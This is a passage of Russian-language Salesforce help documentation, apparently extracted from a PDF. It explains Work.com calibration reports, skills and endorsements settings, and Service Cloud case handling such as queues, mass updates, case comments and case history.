Developer Edition.

Функция «Калибровка»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Чтобысоздатьотчетпокалибровке, рекомендуемскопироватьтекущийотчетилисоздать
отчет, соответствующий заданным критериям.

Кроме того, можно загрузить пакет отчетов по калибровке со страницы «Установка
пакета».

• Пакет отчетов по калибровке для производственной среды

• Пакет отчетов по калибровке для безопасной среды

1. Выберите нужный отчет по калибровке из раскрывающегося списка на вкладке
«Калибровка».

2. Щелкните «Просмотр/редактирование отчета».

3. Нажмите кнопку «Сохранить как».

4. Введите имя, дополнительное описание и уникальное имя, а затем выберите папку
отчетов.

Отчет, сохраненныйвобщедоступнуюпапку, доступенвсемпользователям, которые
могут просматривать данную папку, но позволяет каждому пользователю
просматривать только доступные сводки по производительности. Отчет по
калибровке, сохраненный в папку «Мои личные настраиваемые отчеты», доступен
только текущему пользователю.

5. Нажмите кнопку «Сохранить и вернуться к отчету».

Совет: При необходимости создайте отчет. Отчет, соответствующий
определенным критериям, автоматически добавляется в раскрывающийся
список «Калибровка».

• Выберите тип отчета «КалибровкаWork.com».

• Выберите формат отчета «Сводный» с группированием по полям «Имя
вопроса отзыва» и «Отзыв».

• Добавьте перечисленные ниже столбцы.

– Код цикла производительности

– Код запроса отзыва

– Код отзыва

– Тема: Код пользователя

– Тема: полное имя (или «Тема: личное имя» и «Тема: фамилия»)

• Выполнитефильтрациюотчетадляпросмотра толькоодногоцикла сводок
по производительности.

СМ. ТАКЖЕ:

Общие сведения о калибровке

Создание отчета

Настройка отчета по калибровке
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Настройка отчета по калибровке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Калибровка»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Отчет по калибровке может быть дополнен столбцами и фильтрами.

Отчеты по калибровке используют функцию составления отчетов Salesforce. Отчет по
калибровкеможетбытьотфильтрованидополненнастраиваемымистолбцами. Порядок
отображения столбцов соответствует порядку их добавления. Тем не менее, отчеты по
калибровке не поддерживают порядок сортировки.

1. Выберите нужный отчет по калибровке из раскрывающегося списка на вкладке
«Калибровка».

2. Щелкните «Просмотр/редактирование отчета».

3. Щелкните «Настроить».

4. При необходимости дополните отчет фильтрами и столбцами.

• Ниже перечислены обязательные столбцы, которые не могут быть удалены из
отчетов по калибровке.

– Код цикла производительности

– Код запроса отзыва

– Код отзыва

– Тема: Код пользователя

– Тема: полное имя (или «Тема: личное имя» и «Тема: фамилия»)

5. Нажмите кнопку «Сохранить».

Пример: Ниже перечислены некоторые типичные примеры использования.

• Фильтрация по циклу сводок по производительности для просмотра
обязательного цикла сводок по производительности

• Фильтрация по отделу для создания соответствующего отчета

• Фильтрация по расположению для создания соответствующего отчета

СМ. ТАКЖЕ:

Предоставление доступа к данным посредством отчетов

Общие сведения о калибровке

Создание отчета по калибровке
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Обновление сведений о сводке по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Калибровка»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Для редактирования оценок
производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Отчет по калибровке позволяет напрямую обновлять сведения о сводке по
производительности.

Пользователи могут обновлять только доступные сводки по производительности. При
наличии полномочия «Изменение всех данных» или «Просмотр всех данных»
пользователи могут просматривать оценки сводок по производительности перед их
отправкой. Редактированию подлежат только поля многовариантных вопросов,
предназначенные для менеджера пользователя. Ответы не могут быть изменены после
завершения сводки по производительности и предоставления общего доступа
пользователю.

1. Выберите нужный отчет по калибровке из раскрывающегося списка на вкладке
«Калибровка».

2. Дваждыщелкните нужную оценку в разделе «Сотрудники в графике».

Пользователи могут изменять оценки только для отправленной сводки по
производительности.

3. Выберите новое значение.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о калибровке

Создание отчета по калибровке
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Экспорт сведений об отчете по калибровке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Калибровка»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Для редактирования оценок
производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Данные сводок по производительности могут быть экспортированы посредством
основного отчета по калибровке.

1. Выберите нужный отчет по калибровке на вкладке «Калибровка».

2. Щелкните «Просмотр/редактирование отчета».

3. Нажмите кнопку «Экспортировать сведения».

4. Выберите кодировку и формат файла.

5. Нажмите кнопку «Экспорт».

СМ. ТАКЖЕ:

Общие сведения о калибровке

Создание отчета по калибровке

2376

Общие сведения о калибровкеНастройка и обслуживание инструментов продаж



Настройка навыков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Система позволяет изменять полномочия объекта для навыков и подтверждений в
соответствии с текущими потребностями организации.

Настройканавыковиподтвержденийвыполняетсяаналогичноредактированиюдругих
объектов. Под настройкой понимается добавление настраиваемых полей, изменение
макетов страниц и добавление триггеров, бизнес-правил или правил проверки. При
необходимостипользователимогутнастраиватьобластиналожения, отображаемыедля
навыков.

Администраторы могут изменять полномочия объекта для навыков и подтверждений в соответствии с текущими
потребностями организации. Например, настроенные параметры объекта могут запрещать пользователям создание
навыков и разрешать назначение другим пользователям только навыков, созданных администратором. По умолчанию
поддерживаемые профили пользователей позволяют просматривать, создавать, редактировать и удалять навыки, а
администраторам предоставляются полномочия «Просмотр всех данных» и «Изменение всех данных».

Крометого, администраторымогутизменятьнекоторыепараметрынавыковна странице «ПараметрыWork.com». Введите
строку «Параметры Work.com» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры
Work.com».

Редактирование навыков и подтверждений посредством страниц сведений о записях
Выключение функции встроенного редактирования навыков и подтверждений в профилях Chatter. Рекомендуем
использовать даннуюфункцию только при дополнении данных объектов настраиваемыми обязательными полями.

Прим.: Не рекомендуем включать данный параметр при использовании навыков в профилях Chatter.

Создание сообщений ленты при добавлении нового навыка
Автоматическое создание сообщения ленты Chatter при добавлении нового навыка в профиль.
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Включить предложенные навыки
Автоматическое отображение навыков на основе тем Chatter пользователей.

При необходимости установите пакет, содержащий дополнительные отчеты и панели мониторинга для функций
«Благодарность» и «Навыки».

• Отчеты и панели мониторинга для функций «Благодарность» и «Навыки» (пакет для производственной среды)

• Отчеты и панели мониторинга для функций «Благодарность» и «Навыки» (пакет для безопасной среды)

СМ. ТАКЖЕ:

Общие сведения о навыках

Ограничения для навыков

Полномочия объекта

Редактирование полномочий объекта в профилях

Включение или выключение параметров Work.com

Общие сведения об отчетах и панелях мониторинга Work.com

Ограничения для навыков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Навыки и подтверждения используют особые алгоритмы и ограничения.

Обратите внимание на ограничения ниже.

• Функция «Навыки» не поддерживается сообществами.

• Пользователям с полномочием «Чтение» для навыков доступны все записинавыков.

• Записи пользователей навыка и подтверждений могут удаляться только
ответственными и пользователями с полномочием «Изменение всех данных».

• Чтобы восстановить пользователей и подтверждения, связанные с удаленным
навыком, извлеките нужныйнавык из корзины. Создание навыка с темже именем не
инициирует восстановление предыдущих связей.

• Пользователимогутподтверждать тольконавыкидругихпользователей. Одиннавык
пользователя может быть подтвержден одним и тем же пользователем только один
раз.

Администраторы могут подтверждать навыки пользователей от имени других пользователей посредством API.

• Виджет «Навыки» отображается в профиле Chatter только после включения поддержки Chatter и предоставления
пользователям полномочия «Чтение» для навыков и пользователей навыка.

СМ. ТАКЖЕ:

Общие сведения о навыках

Настройка навыков

Включение или выключение параметров Work.com
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Поддержка клиентов

Salesforce Service Cloud

Удивите клиентов превосходным сервисом и повысьте производительность поддержки агентов.

Предоставьте своим клиентам возможность добавлять в «Избранное» обмен сообщениями с вашей командой через
веб-обозреватель, электроннуюпочту, по телефону, социальные сети и многое другое. Упростите работу своим агентам
службы поддержки за счет автоматизации процессов назначения обращений, уведомлений, расширений, контрольных
точек, сервисных контрактов и много другого. Также предоставьте своей команде универсальную службу поддержки, в
которой возможно всестороннее рассмотрение каждого обращения и доступны средства для их быстрого разрешения.

Изучите основы Service Cloud с помощью Trailhead!

Управление обращениями
Обращение — это вопрос или отзыв клиента. Настройте и автоматизируйте процессы поддержки обращений, чтобы
сократить время на ответы и повысить уровень удовлетворенности клиентов.

• Общие сведения о группах, работающих с обращениями

• Общие сведения об очередях обращений

• Настройка правил ответов

• Общие сведения о правилах расширения

• Настройка правил назначения

• Обзор омниканала

• Настройка макросов

База знаний
Благодаря ускорению работы с информацией (создание, совместное использование, поиск) вы можете предоставлять
услуги клиентам на небывалом уровне.

• Общие сведения о знаниях
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• Настройка знаний

Многоканальная поддержка
Порадуйте клиентов, предложив им выбор способа установления связи со службой поддержки.

• Настройка функции создания обращения из веб-обозревателя

• Общие сведения о функции создания обращения из сообщения электронной почты

• Настройка функции создания обращения из вопроса

• Настройка LiveAgent

• Общие сведения об онлайн-сообществах

• Общие сведения о Call Center

• Общие сведения об Open CTI

• Общие сведения о функции социального обслуживания клиентов

• Настройка SOS

Универсальная служба поддержки
Увеличьте производительность поддержки агентов с помощью интерфейса, напоминающего панель мониторинга,
который поддерживает несколько обращений в каждом канале обслуживания.

• Общие сведения о ленте обращений

• Общие сведения о консоли Salesforce

• Общие сведения о настраиваемых компонентах консоли

Соглашения о поддержке клиентов
Предоставляйте и применяйте соглашения об уровне обслуживания (например, гарантии, подписки или соглашения об
обслуживании с функцией управления правами).

• Общие сведения о правах

• Настройка управления правами
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Отслеживание запросов клиентов

Обращения

Обращения

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Обращение — это вопрос или отзыв клиента. Агенты службы поддержки могут
просматривать обращения для определения способов повышения эффективности
обслуживания. Торговыепредставителимогутиспользоватьобращениядляопределения
способов влияния на процессы продаж. Ответы, отправляемые после обработки
обращений, позволяют повысить удовлетворенность клиентов и усилить позиции
компании.

Администратор организации может настраивать информационные каналы для сбора
обращений посредством предпочтительныхформ обратной связи. Под каналами
понимаются сообщества (для сетевыхфорумов), функция Email-to-Case (для сообщений
эл. почты), функция Web-to-Case (для веб-сайтов), приложение Salesforce Call Center (для
телефонныхзвонков) ит. д. Lightning Experienceподдерживает тольконекоторыеканалы.

Начальнаястраницавкладки «Обращения» позволяетсоздавать, находитьиредактировать
обращения, а также сортировать и фильтровать обращения и очереди посредством
стандартных и настраиваемых списковых представлений.

Совет: При настройке консоли Salesforce рекомендуем использовать интерфейс консоли, напоминающий панель
мониторинга, длясокращениявременипакетнойобработкиобращений. Принастройкеправрекомендуемпроверять
клиентовна наличиепривилегийна поддержкуилиотслеживать обращения воизбежание возможногонарушения
контрольной точки. При настройке функции Salesforce to Salesforce и предоставлении внешним контактам общего
доступа к обращениям рекомендуем использовать списковые представления для просмотра обращений,
предоставленных бизнес-партнерами. Данные функции доступны только в Salesforce Classic.

СМ. ТАКЖЕ:

Начальная страница обращений

Консоль Salesforce

Что такое управление правами?

Использование вкладки «Вопрос и ответ» компонента Chatter Answers

Руководство по внедрениюфункции управления обращениями
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Начальная страница обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для создания обращений:
• «Создание» для

обращений

На главной странице «Обращения» вы можете создавать, находить и редактировать
обращения.

Кроме того, на главной странице обращений можно переходить к отчетам обращений
и к групповому удалению обращений или отправке контактов для обращений.

СМ. ТАКЖЕ:

Обращения

Рекомендации по работе с обращениями

Закрытие обращений

Консоль Salesforce

Просмотр списков обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
обращений:
• «Чтение» для

обращений

Для создания обращений:
• «Создание» для

обращений

Страница со списком обращений содержит обращения, доступные в текущем
представлении. Чтобы просмотреть отфильтрованный список элементов, выберите
нужное представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбое созданноепредставление, выберите
его в раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

Чтобы просмотреть списки обращений при наличии консоли Salesforce, щелкните
ссылку «Обращения» на вкладке навигации (если вкладка «Обращения» доступна).

• Чтобы отредактировать или удалить обращение, щелкните ссылку «Правка» или
«Удал.».

• Чтобы закрыть обращения, принять ответственность или изменить ответственного
и статус обращений, установите флажки напротив нужных обращений и нажмите
соответствующую кнопку вверху представления.

Прим.: Обращения, помеченные красной стрелкой, расширены автоматически
посредством правил расширения, заданных в организации.

Принятие ответственности за обращения

Чтобыпринятьответственностьзаобращения, доступныевочереди, откройтесписковое
представление очереди, установите флажки напротив нужных обращений и нажмите
кнопку «Принять». Версии Professional Edition, Enterprise Edition, Unlimited Edition,
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Performance Edition и Developer Edition позволяют расширить уровень доступа к обращениям, установленный моделью
общего доступа.

Прим.: Модель единого общего доступа к объекту определяет уровень доступа пользователей к записям данного
объекта в очередях.

Общедоступный: для чтения, записи и переноса
Пользователи могут просматривать и принимать ответственность за записи, доступные в любых очередях.

Общедоступный: для чтения и записи илиОбщедоступный: только для чтения
Пользователимогутпросматриватьлюбыеочереди, ноприниматьответственность только за записи, доступные
в очередях, участниками которых они являются, или, в зависимости от параметров общего доступа, за записи,
принадлежащие нижестоящим участникам очереди в иерархии ролей или территорий.

Личный
Пользователи могут только просматривать и принимать записи, доступные в очередях, участниками которых
они являются, или, в зависимости от параметров общего доступа, записи, принадлежащие нижестоящим
участникам очереди в иерархии ролей или территорий.

Независимо от модели общего доступа, пользователи могут принимать ответственность за записи, доступные в
очередях, участниками которых они являются, только при наличии полномочия «Редактирование». Независимо от
модели общего доступа или их участия в очередях, администраторы, пользователи с полномочием «Изменить все»
дляобращенийипользователисполномочием «Изменениевсехданных» могутпросматриватьипринимать записи,
доступные в любых очередях.

СМ. ТАКЖЕ:

Обращения

Рекомендации по работе с обращениями
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Пакетное изменение обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения
ответственного за
обращение:
• «Перенос обращений»

ИЛИ «Перенос записи»

И

«Редактирование» для
обращений

Для закрытия и изменения
статуса обращений:
• «Управление

обращениями»

Администраторымогутвыполнятьпакетноеобновлениеобращенийналюбойстранице
со списком обращений. Любое списковое представление очереди позволяет
пользователямприниматьответственностьзаобращения, еслиониявляютсяучастниками
очередиилирасположены выше участника очереди в иерархииролейили территорий,
либо стандартной модели общего доступа к обращениям задано значение
«Общедоступный: длячтения, записиипереноса». Установитефлажкинапротивнужных
обращений и нажмите соответствующую кнопку. Ниже перечислены возможные
действия.

• «Принять»: назначение текущего пользователя ответственным за выбранные
обращения в списковом представлении очереди. Также пользователюназначаются
все вложенныеоткрытыедействия. Пользователиорганизаций, которымнедоступна
модель общего доступа «Общедоступный: для чтения, записи и переноса», могут
приниматьобращениятолькоизочередейсих участиемилиучастиемнижестоящих
пользователей в иерархии ролей.

• «Изменить ответственного»: назначение обращений выбранному пользователю
или очереди. Также новому ответственному назначаются все вложенные открытые
действия. Придобавленииобращенийвочередьоткрытыедействиянепереносятся.

Даннаяфункция требует наличия обязательных полномочий и общего доступа для
чтения обновляемых обращений.

Прим.: При изменении ответственности все связанные открытые действия,
принадлежащиетекущемуответственному заобращение, назначаютсяновому
ответственному.

• «Закрыть»: закрытиевыбранныхобращений. Заполнитеобязательныеполя «Статус»
и «Причина» и при необходимости добавьте комментарии.

Данная функция доступна только при наличии полномочия «Управление
обращениями» и доступа «Для чтения и записи» к обращениям.

• «Изменить статус»: изменение значения поля обращения «Статус».

Данная функция доступна только при наличии полномочия «Управление обращениями» и доступа «Для чтения и
записи» к обращениям.

СМ. ТАКЖЕ:

Рекомендации по работе с обращениями
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Рекомендации по работе с обращениями

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Правила назначения
обращений, правила
расширения обращений,
функция Web-to-Case и
клиентские порталы
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для обновления
обращений:
• «Редактирование» для

обращений

Обращение — это вопрос или отзыв клиента. Поля и связанные списки, отображаемые
на странице обращения, определяются собственными настройками или функциями,
настроенными администратором. Данный раздел содержит сведения об эффективном
использовании обращений.

Обновление обращений
При изменении контакта организация не заменяется организацией контакта, но
может быть отредактирована самостоятельно.

Контакты, являющиеся пользователями портала, могут просматривать только
обращения, связанные со своими организациями.

Приизмененииорганизацииобщиедоступыкобращению, установленныевручную,
удаляются для пользователей, которые не имеют доступа для чтения к новой
организации.

При наличии возможности установите флажок «Отправить электронное
уведомление контакту» для уведомления контакта об обновлении обращения.
Сообщение эл. почты отправляется только при наличии доступа к контакту.

Приналичиивозможностиустановитефлажок«Назначитьспомощьюактивных
правил назначения» для переназначения обращения посредством правила
назначения. Обращение, которое не соответствует критериям правила,
переназначается ответственному за обращение по умолчанию.

Приналичиивозможностищелкните «Общийдоступ»дляпредоставленияобщего
доступа к обращению другим пользователям, группам или ролям.

При наличии возможности закройте обращение путем выбора значения «Закрыто»
вполе «Статус». Впротивномслучае, щелкните«Закрытьобращение»иизмените
нужные поля. При наличиифункции отправки статей базы знанийщелкните
«Сохранить и создать статью» для сохранения информации, которая может
оказаться полезной другим пользователям при закрытии похожих обращений.
Опубликованная черновая статья добавляется в обращение и становится доступной
для просмотра в базе знаний.

Приналичии возможности раздел «Сведения офункции Web-to-Case» содержит информацию, введенную клиентом
при создании обращения посредством формы на веб-сайте.

Использование связанных списков обращений
Воспользуйтесьсвязаннымсписком «Сообщенияэл. почты» дляотправкиответовиобработкиобращений, созданных
посредством функции Email-to-Case.

Воспользуйтесь связанным списком «Контрольные точки обращения» для просмотра обязательных этапов процесса
поддержки или добавления даты выполнения контрольной точки.

Воспользуйтесь связанным списком «Статьи» для поиска полезных статей в базе знаний организации. Чтобы начать
поиск, введитеключевыеслова. Добавьтенайденныестатьивобращениедляотслеживаниярешенийипредоставления
другим пользователям возможности закрытия похожих обращений. Вложенные статьи отображаются в связанном
списке. Если при закрытии обращения создается черновая статья, то статья добавляется в связанный список только
после публикации черновой статьи.

Воспользуйтесь связанным списком «Решения» для поиска полезных решений (версия 1.0 статей). При наличии
категорийрешенийвыберитенужныекатегориидляуточненияобластипоиска. Приналичиипредложенныхрешений
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щелкните«Просмотрпредложенныхрешений»дляпросмотрасоответствующихрешений. Решенияпредлагаются
на основе релевантности и сходства обращений.

Отправка ответов на обращения из Chatter Answers (недоступно в Lightning Experience)
Чтобы ответить на обращение, созданное из вопроса в веб-сообществе, введите ответ в ленту, похожую на ленту
Chatter, ищелкните «Ответить клиенту». Введенный ответ отслеживается в связанном списке «Комментарии к
обращению».

Комментарии к обращениям, помеченные как «Общедоступные», отображаются как личные сообщения от службы
поддержки в Chatter Answers. Они не отображаются всему сообществу. Например, общедоступный комментарий к
обращению, добавленныйагентомслужбыподдержки, отображаетсятолькоконтактуобращенияпосредствомличных
сообщений в Chatter Answers. Агенты службы поддержки могут просматривать любые личные и общедоступные
комментарии к обращениям.

СМ. ТАКЖЕ:

Поля обращений

Журнал обращения

Группы, работающие с обращениями

Комментарии к обращению

Назначение обращений

Работа с сообщениями эл. почты, содержащими обращения

Использование связанного списка «Контрольные точки обращения»

Использование вкладки «Вопрос и ответ» компонента Chatter Answers

Комментарии к обращению

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователиисотрудникислужбыподдержкимогутдобавлять, редактироватьиудалять
общедоступныеилиличныекомментариикобращениям. Всекомментарииотображаются
в связанном списке комментариев к обращениям.

Комментарии могут быть личными или общедоступными контакту обращения на
клиентском портале, портале самообслуживания или в Chatter Answers. Кроме того,
настройки портала или веб-сообщества позволяют клиентам комментировать
собственныеобращения. Когдапользовательпортала добавляет комментарий, владелец
обращенияполучает сообщениеэлектроннойпочты. Значоккомментария ( ) остается
в заголовке обращения до тех пор, пока не будет просмотрен владельцем.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Создание и редактирование комментариев к обращениям
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Создание и редактирование комментариев к обращениям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
комментариев к
обращениям:
• «Чтение» для

обращений

Для добавления
комментариев к обращениям
и предоставления общего
доступа к комментариям:
• «Редактирование» или

«Создание» для
обращений

Для редактирования или
удаления комментариев к
обращениям, добавленных
другими пользователями:
• «Изменить все» для

обращений

Для редактирования,
удаления или
предоставления общего
доступа к текущим
комментариям к
обращениям:
• «Редактирование

комментариев к
обращениям»

Нижеперечисленыобласти, поддерживающиесозданиеиредактированиекомментариев
к обращениям.

• Поле «Внутренние комментарии» на странице редактирования сведений об
обращении

• Связанныйсписок «Комментариикобращению» настраницесведенийобобращении

СМ. ТАКЖЕ:

Обращения
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Создание и редактирование комментариев к обращениям на страницах сведений об обращениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
комментариев к
обращениям:
• «Чтение» для

обращений

Для добавления
комментариев к обращениям
и предоставления общего
доступа к комментариям:
• «Редактирование» или

«Создание» для
обращений

Для редактирования или
удаления комментариев к
обращениям, добавленных
другими пользователями:
• «Изменить все» для

обращений

Для редактирования,
удаления или
предоставления общего
доступа к текущим
комментариям к
обращениям:
• «Редактирование

комментариев к
обращениям»

1. Нажмите кнопку «Создать» или «Правка» в связанном списке «Комментарии к
обращению».

2. При необходимости установите флажок «Общедоступный», чтобы включить
функциюотправкиуведомленийодобавлениикомментариевиразрешитьконтакту
просмотр комментариев на клиентском портале или портале самообслуживания.

3. Введите комментарии в поле «Комментарий».

4. Нажмите кнопку «Сохранить».

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

Прим.: Еслиобращенияикомментариикобращениямпубликуютсядлявнешних
контактов посредством функции Salesforce to Salesforce, то все общедоступные
комментарии автоматически становятся доступными для подключения при
совместном использовании обращения. Чтобы отменить общий доступ к
комментарию, выберите «Сделать личным».

Совет: Нижеперечисленыдействия, доступныев связанномсписке «Комментарии
к обращению».

• Чтобы удалить текущий комментарий, щелкните ссылку «Удал.».

• Чтобы изменить статус комментария на клиентском портале или портале
самообслуживания, щелкните «Сделать общедоступным» или «Сделать
личным». Комментарии к обращениям, помеченные как «Общедоступные»,
отображаются в качестве личных сообщений от службы поддержки в Chatter
Answers. Они недоступны всему сообществу. Например, общедоступный
комментарий к обращению, добавленный агентом службы поддержки,
отображаетсятолькоконтактуобращенияприеговходевChatter Answers. Агенты
службы поддержки могут просматривать любые личные и общедоступные
комментарии к обращениям.

СМ. ТАКЖЕ:

Комментарии к обращению

Создание и редактирование комментариев к обращениям
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Создание и редактирование комментариев к обращениям на страницах редактирования сведений об
обращениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
комментариев к
обращениям:
• «Чтение» для

обращений

Для добавления
комментариев к обращениям
и предоставления общего
доступа к комментариям:
• «Редактирование» или

«Создание» для
обращений

Для редактирования или
удаления комментариев к
обращениям, добавленных
другими пользователями:
• «Изменить все» для

обращений

Для редактирования,
удаления или
предоставления общего
доступа к текущим
комментариям к
обращениям:
• «Редактирование

комментариев к
обращениям»

1. Чтобы добавить новое обращение, нажмите кнопку «Создать» на вкладке
«Обращения». Чтобы изменить текущее обращение, выберите нужное обращение
и нажмите кнопку «Правка».

2. Введите комментарии в поле «Внутренние комментарии».

3. При необходимости установите флажок «Отправить клиентское уведомление»,
чтобы уведомить контакта обращения о добавлении нового общедоступного
комментария.

4. Нажмите кнопку «Сохранить».

Сообщение эл. почты отправляется ответственному при каждом создании или
обновлении комментария к обращению.

Прим.: Флажок «Отправить клиентское уведомление» отображаетсянастраницах
редактирования сведений об обращениях, если:

• администраторвключилфункциюотправкиуведомленийодобавленииновых
комментариев на странице «Параметры поддержки» или «Параметры портала
самообслуживания»;

• комментарий помечен как «Общедоступный»;

• обращение содержит контакт;

• контакт обращения использует действительный адрес эл. почты.

СМ. ТАКЖЕ:

Комментарии к обращению

Создание и редактирование комментариев к обращениям
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Журнал обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Связанный список «Журнал обращения» на странице сведений об обращении
отслеживает изменения, внесенные в данное обращение. При каждом изменении
отслеживаемогостандартногоилинастраиваемогополяобращенияв связанныйсписок
«Журнал обращения» добавляется новая запись. Все записи журнала содержат
информацию о дате, времени, характере и авторе изменений. Журнал обращения не
фиксирует изменения, вносимые в связанные списки обращения.

Прим.: Изменения поля «Закрыто при создании» отслеживаются только в том
случае, если поле обновляется посредством Force.com API.

Еслиобращениеменяетсяавтоматическиврезультатепримененияфункции Web-to-Case,
либо правил расширения или назначения, то журнал обращения в версиях Professional
Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition отображает
пользователя, выбранного в поле «Автоматический пользователь для обращений» на
странице «Параметры поддержки».

СМ. ТАКЖЕ:

Обращения

Поля обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В зависимости от используемого макета страницы и параметров безопасности полей,
некоторые поля могут быть скрыты или недоступны для редактирования.

ОписаниеПоле

Указывает, что из-за правила эскалации
выполнена эскалация обращения. Значок
эскалации скрывается при закрытии
обращения или если оно больше не
соответствует критерию правила
эскалации.

Указывает, что клиент добавил
комментарийкобращению, полученному
через веб-портал. Значокнеотображается
после просмотра обращения его
владельцем.

Имя учетной записи, связанное с
контактом обращения. Данное поле

Имя организации

заполняется автоматически при
связывании обращения с контактом и
сохраненииобращения. Приобновлении
обращения можно добавить другую
учетную запись.

Модель продукта, используемого
клиентом. На страницах редактирования

Актив
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ОписаниеПоле

это поле показывает только активы, связанные с контактом
обращения, однако вы можете использовать
редактирование, чтобы увидеть список всех активов в
обращении.

Данное поле определяет часы выполнения действий
эскалации или процессов права для обращения.

Часы работы

Валютадлявсехвалютныхсуммдляобращения. Стоимость
отображается в валюте обращения, а также преобразуется

Валюта обращения

в личную валюту пользователя. Данное поле доступно
только мультивалютным организациям.

Подразделение, которому принадлежит обращение.
Подразделение наследуется от контакта обращения. Если

Подразделение обращения

для него отсутствует контакт, он устанавливается для
глобального подразделения по умолчанию. Данное поле
доступно только для организаций, использующих
подразделения для сегментирования данных.

Уникальныйномер, назначаемыйобращению. Количества
начинаются с 1000 и имеют разрешения «только для

Номер обращения

чтения», однако администраторы могут изменить этот
